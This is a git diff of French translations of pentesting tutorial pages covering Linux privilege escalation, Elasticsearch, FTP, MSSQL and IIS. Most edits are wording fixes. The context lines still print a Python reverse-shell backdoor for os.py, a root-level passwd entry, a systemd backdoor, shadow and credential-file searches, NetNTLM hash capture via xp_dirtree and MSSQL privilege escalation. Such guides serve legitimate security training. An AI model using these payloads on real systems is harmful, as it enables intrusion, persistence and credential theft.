`/etc/sshd_config` peut **autoriser** ou **interdire** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (la valeur par défaut est autoriser). Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car **vous pourriez être en mesure de l'exploiter pour élever les privilèges** : @@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certaines occasions, vous pouvez trouver des **hashes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent). +Dans certaines occasions, vous pouvez trouver des **hashs de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent). ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1204,7 +1204,7 @@ Ensuite, ajoutez l'utilisateur `hacker` et ajoutez le mot de passe généré. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Par exemple : `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Vous pouvez maintenant utiliser la commande `su` avec `hacker:hacker` @@ -1227,7 +1227,7 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré. +Votre porte dérobée sera exécutée la prochaine fois que tomcat sera démarré. ### Vérifier les Dossiers @@ -1260,7 +1260,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_histoire, .sudo_as_admin_successful, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers +### \*\_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1268,7 +1268,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Script/Binaries dans le PATH** +### **Scripts/Binaires dans le PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1310,18 +1310,18 @@ Pour **lire les journaux, le groupe** [**adm**](interesting-groups-linux-pe/inde ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Recherche de crédentiels génériques/Regex Vous devriez également vérifier les fichiers contenant le mot "**password**" dans son **nom** ou à l'intérieur du **contenu**, et également vérifier les IP et les emails dans les logs, ou les regexps de hachages.\ Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. -## Writable files +## Fichiers écriture -### Python library hijacking +### Détournement de bibliothèque Python -Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). +Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire dans** ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer un backdoor (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). -Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : +Pour **insérer un backdoor dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) : ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` @@ -1330,7 +1330,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant **des permissions d'écriture** sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, en particulier dans des répertoires comme _**/etc/bash_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée. > [!NOTE] -> Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures. +> Cette vulnérabilité affecte `logrotate` version `3.18.0` et antérieures Des informations plus détaillées sur la vulnérabilité peuvent être trouvées sur cette page : [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). @@ -1354,15 +1354,15 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -### **init, init.d, systemd et rc.d** +### **init, init.d, systemd, et rc.d** Le répertoire `/etc/init.d` est le foyer des **scripts** pour System V init (SysVinit), le **système de gestion de services Linux classique**. Il comprend des scripts pour `start`, `stop`, `restart`, et parfois `reload` des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans `/etc/rc?.d/`. Un chemin alternatif dans les systèmes Redhat est `/etc/rc.d/init.d`. -D'autre part, `/etc/init` est associé à **Upstart**, un **gestionnaire de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. +D'autre part, `/etc/init` est associé à **Upstart**, un **système de gestion de services** plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart. -**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système. +**systemd** émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage, et des instantanés de l'état du système. Il organise les fichiers dans `/usr/lib/systemd/` pour les paquets de distribution et `/etc/systemd/system/` pour les modifications administratives, rationalisant le processus d'administration système. -## Autres astuces +## Autres Astuces ### Escalade de privilèges NFS @@ -1382,7 +1382,7 @@ escaping-from-limited-bash.md cisco-vmanage.md {{#endref}} -## Protections de sécurité du noyau +## Protections de Sécurité du Noyau - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1395,27 +1395,27 @@ cisco-vmanage.md ### **Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux :** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) -**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ -**Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ +**LinEnum** : [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ +**Enumy** : [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Vérification Privesc Unix :** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Vérificateur de privilèges Linux :** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot :** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ **Kernelpop :** Énumérer les vulnérabilités du noyau dans linux et MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit :** _**multi/recon/local_exploit_suggester**_\ -**Suggesteur d'exploits Linux :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ +**Suggesteur d'Exploitation Linux :** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (accès physique) :** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recueil de plus de scripts** : [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Références -- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)\\ -- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)\\ -- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)\\ -- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)\\ -- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)\\ -- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\ -- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\ -- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\ +- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) +- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) +- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) +- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html) +- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827) +- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf) +- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation) +- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) - [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i) - [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/) - [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html) diff --git a/src/network-services-pentesting/9200-pentesting-elasticsearch.md b/src/network-services-pentesting/9200-pentesting-elasticsearch.md index b05c31067..b5a333bfd 100644 --- a/src/network-services-pentesting/9200-pentesting-elasticsearch.md +++ b/src/network-services-pentesting/9200-pentesting-elasticsearch.md @@ -4,7 +4,7 @@ ## Informations de base -Elasticsearch est un moteur de recherche et d'analyse **distribué**, **open source** pour **tous types de données**. Il est connu pour sa **rapidité**, **scalabilité** et **API REST simples**. Basé sur Apache Lucene, il a été publié pour la première fois en 2010 par Elasticsearch N.V. (maintenant connu sous le nom d'Elastic). Elasticsearch est le composant central de l'Elastic Stack, une collection d'outils open source pour l'ingestion, l'enrichissement, le stockage, l'analyse et la visualisation des données. Cette pile, communément appelée ELK Stack, comprend également Logstash et Kibana, et dispose maintenant d'agents légers d'expédition de données appelés Beats. +Elasticsearch est un moteur de recherche et d'analyse **distribué**, **open source** pour **tous types de données**. Il est connu pour sa **rapidité**, **scalabilité** et **API REST simples**. Basé sur Apache Lucene, il a été publié pour la première fois en 2010 par Elasticsearch N.V. (maintenant connu sous le nom d'Elastic). Elasticsearch est le composant central de l'Elastic Stack, une collection d'outils open source pour l'ingestion, l'enrichissement, le stockage, l'analyse et la visualisation des données. Cette pile, communément appelée ELK Stack, comprend également Logstash et Kibana, et dispose maintenant d'agents d'expédition de données légers appelés Beats. ### Qu'est-ce qu'un index Elasticsearch ? @@ -28,7 +28,7 @@ Si vous ne voyez pas cette réponse en accédant à `/`, consultez la section su ### Authentification -**Par défaut, Elasticsearch n'a pas d'authentification activée**, donc par défaut, vous pouvez accéder à tout ce qui se trouve dans la base de données sans utiliser de credentials. +**Par défaut, Elasticsearch n'a pas d'authentification activée**, donc par défaut, vous pouvez accéder à tout à l'intérieur de la base de données sans utiliser de credentials. Vous pouvez vérifier que l'authentification est désactivée avec une requête à : ```bash @@ -39,7 +39,7 @@ curl -X GET "ELASTICSEARCH-SERVER:9200/_xpack/security/user" ```bash {"error":{"root_cause":[{"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}}],"type":"security_exception","reason":"missing authentication credentials for REST request [/]","header":{"WWW-Authenticate":"Basic realm=\"security\" charset=\"UTF-8\""}},"status":401} ``` -Cela signifie que l'authentification est configurée et que **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-hacking/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF l'authentification HTTP basique peut être utilisé).\ +Cela signifie que l'authentification est configurée et **vous avez besoin de credentials valides** pour obtenir des informations d'Elasticsearch. Ensuite, vous pouvez [**essayer de le bruteforcer**](../generic-hacking/brute-force.md#elasticsearch) (il utilise l'authentification HTTP basique, donc tout ce qui peut BF l'authentification HTTP basique peut être utilisé).\ Voici une **liste des noms d'utilisateur par défaut** : _**elastic** (superutilisateur), remote_monitoring_user, beats_system, logstash_system, kibana, kibana_system, apm_system,_ \_anonymous\_.\_ Les anciennes versions d'Elasticsearch ont le mot de passe par défaut **changeme** pour cet utilisateur. ``` curl -X GET http://user:password@IP:9200/ @@ -86,7 +86,7 @@ Voici quelques points de terminaison que vous pouvez **accéder via GET** pour * | /\_cat/nodeattrs | | | | /\_cat/nodes | | | -Ces points de terminaison ont été [**pris de la documentation**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) où vous pouvez **trouver plus**.\ +Ces points de terminaison ont été [**pris dans la documentation**](https://www.elastic.co/guide/en/elasticsearch/reference/current/rest-apis.html) où vous pouvez **trouver plus**.\ De plus, si vous accédez à `/_cat`, la réponse contiendra les points de terminaison `/_cat/*` pris en charge par l'instance. Dans `/_security/user` (si l'authentification est activée), vous pouvez voir quel utilisateur a le rôle `superuser`. @@ -100,7 +100,7 @@ green open .kibana 6tjAYZrgQ5CwwR0g6VOoRg 1 0 1 0 yellow open quotes ZG2D1IqkQNiNZmi2HRImnQ 5 1 253 0 262.7kb 262.7kb yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0 483.2kb 483.2kb ``` -Pour obtenir **des informations sur le type de données enregistrées dans un index**, vous pouvez accéder à : `http://host:9200/` dans cet exemple `http://10.10.10.115:9200/bank` +Pour obtenir **des informations sur le type de données enregistrées dans un index**, vous pouvez accéder à : `http://host:9200/` dans cet exemple, `http://10.10.10.115:9200/bank` ![](<../images/image (342).png>) @@ -114,11 +114,11 @@ _Prenez un moment pour comparer le contenu de chaque document (entrée) dans l'i Ainsi, à ce stade, vous pouvez remarquer qu'il **y a un champ appelé "total" à l'intérieur de "hits"** qui indique que **1000 documents ont été trouvés** dans cet index mais seulement 10 ont été récupérés. Cela est dû au fait qu'il **y a par défaut une limite de 10 documents**.\ Mais maintenant que vous savez que **cet index contient 1000 documents**, vous pouvez **les exporter tous** en indiquant le nombre d'entrées que vous souhaitez exporter dans le paramètre **`size`** : `http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\ -\&#xNAN;_Remarque : Si vous indiquez un nombre plus grand, toutes les entrées seront de toute façon exportées, par exemple vous pourriez indiquer `size=9999` et il serait étrange qu'il y ait plus d'entrées (mais vous devriez vérifier)._ +\_Remarque : Si vous indiquez un nombre plus grand, toutes les entrées seront de toute façon exportées, par exemple, vous pourriez indiquer `size=9999` et il serait étrange qu'il y ait plus d'entrées (mais vous devriez vérifier)._ ### Dump all -Pour exporter tout, vous pouvez simplement aller au **même chemin qu'auparavant mais sans indiquer d'index** `http://host:9200/_search?pretty=true` comme `http://10.10.10.115:9200/_search?pretty=true`\ +Pour exporter tout, vous pouvez simplement aller à **le même chemin qu'auparavant mais sans indiquer d'index** `http://host:9200/_search?pretty=true` comme `http://10.10.10.115:9200/_search?pretty=true`\ N'oubliez pas que dans ce cas, la **limite par défaut de 10** résultats sera appliquée. Vous pouvez utiliser le paramètre `size` pour exporter une **plus grande quantité de résultats**. Lisez la section précédente pour plus d'informations. ### Search diff --git a/src/network-services-pentesting/pentesting-ftp/README.md b/src/network-services-pentesting/pentesting-ftp/README.md index bedfe6e2d..bfa5a4e7b 100644 --- a/src/network-services-pentesting/pentesting-ftp/README.md +++ b/src/network-services-pentesting/pentesting-ftp/README.md @@ -88,8 +88,8 @@ STAT ### Connexion anonyme _anonymous : anonymous_\ -\&#xNAN;_anonymous :_\ -\&#xNAN;_ftp : ftp_ +\_anonymous :_\ +\_ftp : ftp_ ```bash ftp >anonymous @@ -137,7 +137,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/ - **`LIST -R`** Lister récursivement (si autorisé par le serveur) - **`APPE /path/something.txt`** Cela indiquera au FTP de stocker les données reçues d'une connexion **passive** ou d'une connexion **PORT/EPRT** dans un fichier. Si le nom de fichier existe, il ajoutera les données. - **`STOR /path/something.txt`** Comme `APPE` mais cela écrasera les fichiers -- **`STOU /path/something.txt`** Comme `APPE`, mais si le fichier existe, cela ne fera rien. +- **`STOU /path/something.txt`** Comme `APPE`, mais si le fichier existe, il ne fera rien. - **`RETR /path/to/file`** Une connexion passive ou une connexion port doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion - **`REST 6`** Cela indiquera au serveur que la prochaine fois qu'il enverra quelque chose en utilisant `RETR`, il devrait commencer au 6ème octet. - **`TYPE i`** Définir le transfert en binaire @@ -171,7 +171,7 @@ posts.txt - Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP, peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier) - Juste **remplir la requête avec beaucoup de caractères nuls ou autres** (divisés sur des lignes ou non) -Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un serveur FTP différent.](ftp-bounce-download-2oftp-file.md) +Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier d'un autre serveur FTP.](ftp-bounce-download-2oftp-file.md) ## Vulnérabilité du serveur Filezilla @@ -186,7 +186,7 @@ vsftpd.conf ``` ### Post-Exploitation -La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver certains paramètres dangereux : +La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.conf`. Ici, vous pourriez trouver quelques paramètres dangereux : - `anonymous_enable=YES` - `anon_upload_enable=YES` @@ -194,7 +194,7 @@ La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.con - `anon_root=/home/username/ftp` - Répertoire pour les utilisateurs anonymes. - `chown_uploads=YES` - Changer la propriété des fichiers téléchargés anonymement - `chown_username=username` - Utilisateur à qui la propriété des fichiers téléchargés anonymement est attribuée -- `local_enable=YES` - Activer les utilisateurs locaux à se connecter +- `local_enable=YES` - Activer la connexion des utilisateurs locaux - `no_anon_password=YES` - Ne pas demander de mot de passe aux utilisateurs anonymes - `write_enable=YES` - Autoriser les commandes : STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, et SITE diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index 60f664596..b53a9e309 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** est un système de gestion de base de données **relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel dont la fonction principale est de stocker et de récupérer des données selon les demandes d'autres applications logicielles—qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet).\\ +> **Microsoft SQL Server** est un système de gestion de base de données **relationnelle** développé par Microsoft. En tant que serveur de base de données, c'est un produit logiciel dont la fonction principale est de stocker et de récupérer des données selon les demandes d'autres applications logicielles—qui peuvent s'exécuter soit sur le même ordinateur, soit sur un autre ordinateur à travers un réseau (y compris Internet). **Port par défaut :** 1433 ``` @@ -16,9 +16,9 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **Base de données master** : Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server. - **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des travaux. -- **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées. -- **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien qu'ils soient physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données. -- **Base de données tempdb** : Sert de zone de stockage temporaire pour les objets transitoires ou les ensembles de résultats intermédiaires. +- **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore sont reflétées dans les bases de données nouvellement créées. +- **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien que physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données. +- **Base de données tempdb** : Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires. ## Énumération @@ -155,14 +155,14 @@ SELECT * FROM sysusers ``` #### Obtenir des autorisations -1. **Securable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont classées en : -- **Serveur** – Des exemples incluent des bases de données, des connexions, des points de terminaison, des groupes de disponibilité et des rôles de serveur. +1. **Securable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont catégorisées en : +- **Serveur** – Des exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles de serveur. - **Base de données** – Des exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs. -- **Schéma** – Inclut des tables, des vues, des procédures, des fonctions, des synonymes, etc. +- **Schéma** – Inclut les tables, les vues, les procédures, les fonctions, les synonymes, etc. 2. **Permission :** Associée aux securables de SQL Server, des permissions telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des permissions se fait à deux niveaux : - **Niveau Serveur** utilisant des connexions - **Niveau Base de données** utilisant des utilisateurs -3. **Principal :** Ce terme fait référence à l'entité à laquelle une permission est accordée pour un securable. Les principaux incluent principalement des connexions et des utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus de permissions ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès. +3. **Principal :** Ce terme fait référence à l'entité à laquelle une permission est accordée pour un securable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus de permissions ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -236,7 +236,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c ``` ### Voler le hash NetNTLM / Attaque de relais -Vous devez démarrer un **serveur SMB** pour capturer le hash utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple). +Vous devriez démarrer un **serveur SMB** pour capturer le hash utilisé dans l'authentification (`impacket-smbserver` ou `responder` par exemple). ```bash xp_dirtree '\\\any\thing' exec master.dbo.xp_dirtree '\\\any\thing' @@ -430,7 +430,7 @@ public void Test() } } ``` -### Autres méthodes pour RCE +### Autres moyens pour RCE Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql). @@ -438,7 +438,7 @@ Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que ### De db_owner à sysadmin -Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur admin** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **privesc** car les **stored procedures** créées là peuvent **exécuter** en tant que propriétaire (**admin**). +Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur admin** (comme **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **privesc** car les **stored procedures** créées là peuvent **s'exécuter** en tant que propriétaire (**admin**). ```sql # Get owners of databases SELECT suser_sname(owner_sid) FROM sys.databases @@ -472,11 +472,11 @@ EXEC sp_elevate_me --3. Verify your user is a sysadmin SELECT is_srvrolemember('sysadmin') ``` -Vous pouvez utiliser un module **metasploit** : +Vous pouvez utiliser un **metasploit** module : ```bash msf> use auxiliary/admin/mssql/mssql_escalate_dbowner ``` -Ou un script **PS** : +Ou un **script PS** : ```powershell # https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1 Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1 diff --git a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md index 3f50ac70e..457ec2932 100644 --- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md +++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md @@ -16,7 +16,7 @@ Sur tout serveur IIS où vous obtenez un 302, vous pouvez essayer de supprimer l nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` -Réponse divulguant l'IP interne : +Réponse divulguant l'adresse IP interne : ``` GET / HTTP/1.0 @@ -61,9 +61,9 @@ Consultez l'intégralité de l'article ici : [https://blog.mindedsecurity.com/20 > [!NOTE] > En résumé, il y a plusieurs fichiers web.config à l'intérieur des dossiers de l'application avec des références aux fichiers "**assemblyIdentity**" et "**namespaces**". Avec ces informations, il est possible de savoir **où se trouvent les exécutables** et de les télécharger.\ > À partir des **Dlls téléchargés**, il est également possible de trouver **de nouveaux namespaces** où vous devriez essayer d'accéder et obtenir le fichier web.config afin de trouver de nouveaux namespaces et assemblyIdentity.\ -> De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes.\\ +> De plus, les fichiers **connectionstrings.config** et **global.asax** peuvent contenir des informations intéressantes. -Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie via des balises XML **"assemblyIdentity"**. +Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle crucial en spécifiant chaque fichier binaire sur lequel l'application s'appuie à travers les balises XML **"assemblyIdentity"**. ### **Exploration des fichiers binaires** @@ -106,7 +106,7 @@ Dans un scénario où une DLL importe un espace de noms appelé **WebApplication ### Fichiers courants -From [here](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) +Depuis [ici](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/) ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log @@ -194,7 +194,7 @@ Pour accéder à la page web, vous pourriez jeter un œil au **certificat SSL** ## Anciennes vulnérabilités IIS à rechercher -### Vulnérabilité/Caractéristique du caractère tilde “\~” de Microsoft IIS – Divulgation de noms de fichiers/dossiers 